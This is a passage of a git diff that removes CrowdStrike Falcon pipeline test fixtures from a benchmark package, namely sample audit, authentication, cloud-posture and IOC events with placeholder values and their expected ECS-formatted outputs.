-                            "ValueString": "in_progress"
-                        },
-                        {
-                            "Key": "assigned_to",
-                            "ValueString": "First Last"
-                        },
-                        {
-                            "Key": "assigned_to_uid",
-                            "ValueString": "first.last@company.com"
-                        }
-                    ],
-                    "ServiceName": "detections"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 10,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-13T14:14:22.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 10,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1581603262000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"detection_update\",\n        \"ServiceName\": \"detections\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"detection_id\",\n                \"ValueString\": \"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745\"\n            },\n            {\n                \"Key\": \"new_state\",\n                \"ValueString\": \"in_progress\"\n            },\n            {\n                \"Key\": \"assigned_to\",\n                \"ValueString\": \"First Last\"\n            },\n            {\n                \"Key\": \"assigned_to_uid\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ],\n        \"UTCTimestamp\": 1581603262\n    }\n}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "detection_update",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
deleted file mode 100644
index d977070b06..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
+++ /dev/null
@@ -1,92 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 6,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1686845212400,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "API:USERID",
-        "UserIp": "175.16.199.1",
-        "OperationName": "streamStopped",
-        "ServiceName": "Crowdstrike Streaming API",
-        "Success": true,
-        "UTCTimestamp": 1686839378,
-        "AuditKeyValues": [
-            {
-                "Key": "eventType",
-                "ValueString": "All event type(s)"
-            },
-            {
-                "Key": "APIClientID",
-                "ValueString": "APIID"
-            },
-            {
-                "Key": "partition",
-                "ValueString": "0"
-            },
-            {
-                "Key": "offset",
-                "ValueString": "2"
-            },
-            {
-                "Key": "appId",
-                "ValueString": "APPIDTEST"
-            }
-        ],
-        "Attributes": {
-            "APIClientID": "APPCLIENTIDTEST",
-            "appId": "APPIDTEST",
-            "eventType": "All event type(s)",
-            "offset": "2",
-            "partition": "0"
-        }
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 8,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1686849556137,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "API:USERID",
-        "UserIp": "175.16.199.1",
-        "OperationName": "streamStarted",
-        "ServiceName": "Crowdstrike Streaming API",
-        "Success": true,
-        "UTCTimestamp": 1686849556,
-        "AuditKeyValues": [
-            {
-                "Key": "APIClientID",
-                "ValueString": "APICLIENTID"
-            },
-            {
-                "Key": "partition",
-                "ValueString": "0"
-            },
-            {
-                "Key": "offset",
-                "ValueString": "8"
-            },
-            {
-                "Key": "appId",
-                "ValueString": "APPIDTEST"
-            },
-            {
-                "Key": "eventType",
-                "ValueString": "All event type(s)"
-            }
-        ],
-        "Attributes": {
-            "APIClientID": "APICLIENTID",
-            "appId": "APPIDTEST",
-            "eventType": "All event type(s)",
-            "offset": "8",
-            "partition": "0"
-        }
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
deleted file mode 100644
index 028a422941..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
+++ /dev/null
@@ -1,190 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T14:29:38.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Attributes": {
-                        "APIClientID": "APPCLIENTIDTEST",
-                        "appId": "APPIDTEST",
-                        "eventType": "All event type(s)",
-                        "offset": "2",
-                        "partition": "0"
-                    },
-                    "AuditKeyValues": [
-                        {
-                            "Key": "eventType",
-                            "ValueString": "All event type(s)"
-                        },
-                        {
-                            "Key": "APIClientID",
-                            "ValueString": "APIID"
-                        },
-                        {
-                            "Key": "partition",
-                            "ValueString": "0"
-                        },
-                        {
-                            "Key": "offset",
-                            "ValueString": "2"
-                        },
-                        {
-                            "Key": "appId",
-                            "ValueString": "APPIDTEST"
-                        }
-                    ],
-                    "OperationName": "streamStopped",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 6,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "streamStopped"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 6,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"API:USERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"streamStopped\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1686839378,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"All event type(s)\"\n            },\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"APIID\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"2\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"APPIDTEST\"\n            }\n        ],\n        \"Attributes\": {\n            \"APIClientID\": \"APPCLIENTIDTEST\",\n            \"appId\": \"APPIDTEST\",\n            \"eventType\": \"All event type(s)\",\n            \"offset\": \"2\",\n            \"partition\": \"0\"\n        }\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "Crowdstrike Streaming API",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "175.16.199.1"
-                ],
-                "user": [
-                    "API:USERID"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "Changchun",
-                    "continent_name": "Asia",
-                    "country_iso_code": "CN",
-                    "country_name": "China",
-                    "location": {
-                        "lat": 43.88,
-                        "lon": 125.3228
-                    },
-                    "region_iso_code": "CN-22",
-                    "region_name": "Jilin Sheng"
-                },
-                "ip": "175.16.199.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "API:USERID"
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T17:19:16.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Attributes": {
-                        "APIClientID": "APICLIENTID",
-                        "appId": "APPIDTEST",
-                        "eventType": "All event type(s)",
-                        "offset": "8",
-                        "partition": "0"
-                    },
-                    "AuditKeyValues": [
-                        {
-                            "Key": "APIClientID",
-                            "ValueString": "APICLIENTID"
-                        },
-                        {
-                            "Key": "partition",
-                            "ValueString": "0"
-                        },
-                        {
-                            "Key": "offset",
-                            "ValueString": "8"
-                        },
-                        {
-                            "Key": "appId",
-                            "ValueString": "APPIDTEST"
-                        },
-                        {
-                            "Key": "eventType",
-                            "ValueString": "All event type(s)"
-                        }
-                    ],
-                    "OperationName": "streamStarted",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 8,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "streamStarted"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-06-15T17:19:16.137Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 8,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1686849556137,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"API:USERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"streamStarted\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1686849556,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"APICLIENTID\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"8\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"APPIDTEST\"\n            },\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"All event type(s)\"\n            }\n        ],\n        \"Attributes\": {\n            \"APIClientID\": \"APICLIENTID\",\n            \"appId\": \"APPIDTEST\",\n            \"eventType\": \"All event type(s)\",\n            \"offset\": \"8\",\n            \"partition\": \"0\"\n        }\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "Crowdstrike Streaming API",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "175.16.199.1"
-                ],
-                "user": [
-                    "API:USERID"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "Changchun",
-                    "continent_name": "Asia",
-                    "country_iso_code": "CN",
-                    "country_name": "China",
-                    "location": {
-                        "lat": 43.88,
-                        "lon": 125.3228
-                    },
-                    "region_iso_code": "CN-22",
-                    "region_name": "Jilin Sheng"
-                },
-                "ip": "175.16.199.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "API:USERID"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
deleted file mode 100644
index aa0e66380d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
+++ /dev/null
@@ -1,26 +0,0 @@
-{
-	"metadata": {
-		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-		"offset": 54712858,
-		"eventType": "CSPMIOAStreamingEvent",
-		"eventCreationTime": 1663011160000,
-		"version": "1.0"
-	},
-	"event": {
-		"AccountId": "XXXXXXXXXXXX",
-		"PolicyId": 249,
-		"PolicyStatement": "EC2 instance manually deleted by IAM user",
-		"CloudProvider": "aws",
-		"CloudService": "EC2",
-		"Severity": 1,
-		"SeverityName": "High",
-		"EventAction": "TerminateInstances",
-		"EventSource": "aws.cloudtrail",
-		"EventCreatedTimestamp": 1663011160,
-		"UserId": "AIDAXRCSSEFWEAH3BLR2Z",
-		"UserName": "cs_internal_service_acct",
-		"UserSourceIp": "81.2.69.144",
-		"Tactic": "Impact",
-		"Technique": "Data Destruction"
-	}
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
deleted file mode 100644
index 1936b1ec16..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
+++ /dev/null
@@ -1,94 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-09-12T19:32:40.000Z",
-            "cloud": {
-                "account": {
-                    "id": "XXXXXXXXXXXX"
-                },
-                "provider": "aws",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "event": {
-                    "PolicyId": 249,
-                    "Severity": 1,
-                    "SeverityName": "High"
-                },
-                "metadata": {
-                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-                    "eventType": "CSPMIOAStreamingEvent",
-                    "offset": 54712858,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "TerminateInstances",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2022-09-12T19:32:40.000Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712858,\n\t\t\"eventType\": \"CSPMIOAStreamingEvent\",\n\t\t\"eventCreationTime\": 1663011160000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"PolicyId\": 249,\n\t\t\"PolicyStatement\": \"EC2 instance manually deleted by IAM user\",\n\t\t\"CloudProvider\": \"aws\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"EventAction\": \"TerminateInstances\",\n\t\t\"EventSource\": \"aws.cloudtrail\",\n\t\t\"EventCreatedTimestamp\": 1663011160,\n\t\t\"UserId\": \"AIDAXRCSSEFWEAH3BLR2Z\",\n\t\t\"UserName\": \"cs_internal_service_acct\",\n\t\t\"UserSourceIp\": \"81.2.69.144\",\n\t\t\"Tactic\": \"Impact\",\n\t\t\"Technique\": \"Data Destruction\"\n\t}\n}",
-                "provider": "aws.cloudtrail",
-                "severity": 73,
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "message": "EC2 instance manually deleted by IAM user",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "cs_internal_service_acct"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Impact"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Data Destruction"
-                    ]
-                }
-            },
-            "user": {
-                "id": "AIDAXRCSSEFWEAH3BLR2Z",
-                "name": "cs_internal_service_acct"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
deleted file mode 100644
index d1fb05fcec..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
+++ /dev/null
@@ -1,52 +0,0 @@
-{
-	"metadata": {
-
-		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-		"offset": 54712611,
-		"eventType": "CSPMSearchStreamingEvent",
-		"eventCreationTime": 1663009688832,
-		"version": "1.0"
-	},
-	"event": {
-		"AccountId": "XXXXXXXXXXXX",
-		"Region": "us-west-2",
-		"ResourceId": "i-0108fce80eXXXXXXX",
-		"ResourceIdType": "Instance Id",
-		"ResourceName": "",
-		"ResourceCreateTime": 0,
-		"PolicyStatement": "EC2 NACL configured for global ingress",
-		"PolicyId": 26,
-		"Severity": 1,
-		"SeverityName": "High",
-		"CloudPlatform": "AWS",
-		"CloudService": "EC2",
-		"Disposition": "Failed",
-		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
-		"Tags": [{
-			"Key": "cstag-business",
-			"ValueString": "Sales"
-		}, {
-			"Key": "cstag-accounting",
-			"ValueString": "dev"
-		}, {
-			"Key": "cstag-department",
-			"ValueString": "Sales - 310000"
-		}, {
-			"Key": "Slackbot Env UUID",
-			"ValueString": "C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"
-		}, {
-			"Key": "Name",
-			"ValueString": "CS-SE-Demo-KALI-ROBERT.WILSON"
-		}, {
-			"Key": "Slack_User",
-			"ValueString": "bob.smith"
-		}, {
-			"Key": "cstag-owner",
-			"ValueString": "jane.doe"
-		}],
-		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
-		"Timestamp": 1663009688832
-	}
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
deleted file mode 100644
index 44c8c37258..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
+++ /dev/null
@@ -1,76 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-09-12T19:08:08.832Z",
-            "cloud": {
-                "account": {
-                    "id": "XXXXXXXXXXXX"
-                },
-                "provider": "AWS",
-                "region": "us-west-2",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "event": {
-                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-                    "PolicyId": 26,
-                    "ResourceAttributes": {
-                        "ACL ID": "acl - 005e6 bb98e75ac17e",
-                        "Instance ID": "i - 0108 fce80eXXXXXXX",
-                        "Instance State": "running",
-                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
-                        "Platform": "Linux",
-                        "VPC ID": "vpc - 0e886040 c27d9f526"
-                    },
-                    "ResourceId": "i-0108fce80eXXXXXXX",
-                    "ResourceIdType": "Instance Id",
-                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-                    "Severity": 1,
-                    "SeverityName": "High",
-                    "Timestamp": 1663009688832
-                },
-                "metadata": {
-                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-                    "eventType": "CSPMSearchStreamingEvent",
-                    "offset": 54712611,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "configuration"
-                ],
-                "created": "2022-09-12T19:08:08.832Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": [{\n\t\t\t\"Key\": \"cstag-business\",\n\t\t\t\"ValueString\": \"Sales\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-accounting\",\n\t\t\t\"ValueString\": \"dev\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-department\",\n\t\t\t\"ValueString\": \"Sales - 310000\"\n\t\t}, {\n\t\t\t\"Key\": \"Slackbot Env UUID\",\n\t\t\t\"ValueString\": \"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75\"\n\t\t}, {\n\t\t\t\"Key\": \"Name\",\n\t\t\t\"ValueString\": \"CS-SE-Demo-KALI-ROBERT.WILSON\"\n\t\t}, {\n\t\t\t\"Key\": \"Slack_User\",\n\t\t\t\"ValueString\": \"bob.smith\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-owner\",\n\t\t\t\"ValueString\": \"jane.doe\"\n\t\t}],\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
-                "outcome": "failure",
-                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
-                "severity": 73,
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "message": "EC2 NACL configured for global ingress",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event",
-                "cstag-business:Sales",
-                "cstag-accounting:dev",
-                "cstag-department:Sales - 310000",
-                "Slackbot Env UUID:C68EC25E-32BD-11ED-AE4B-0EBCA3237C75",
-                "Name:CS-SE-Demo-KALI-ROBERT.WILSON",
-                "Slack_User:bob.smith",
-                "cstag-owner:jane.doe"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
deleted file mode 100644
index 7871e26492..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
+++ /dev/null
@@ -1,6 +0,0 @@
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"2f0eaaf91fc7a5c70d1f4be9b18a1cf5","ParentProcessId":"11111111110","ProcessStartTime":1700000000,"FileName":"Notepad.exe","FilePath":"\\Device\\HarddiskVolume3\\Windows\\System32","CommandLine":"\"C:\\Windows\\system32\\Notepad.exe\"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","DomainName":"acme.corp","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv4":"203.0.113.5","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv6":"2001:db8:1234::abcd","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","SHA256String":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
-{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"e99a18c428cb38d5f260853678922e03","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
deleted file mode 100644
index 6544d54e91..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
+++ /dev/null
@@ -1,401 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-10-09T08:53:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "MD5String": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5"
-                },
-                "metadata": {
-                    "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd",
-                    "eventType": "CustomerIOCEvent",
-                    "offset": 123456789,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
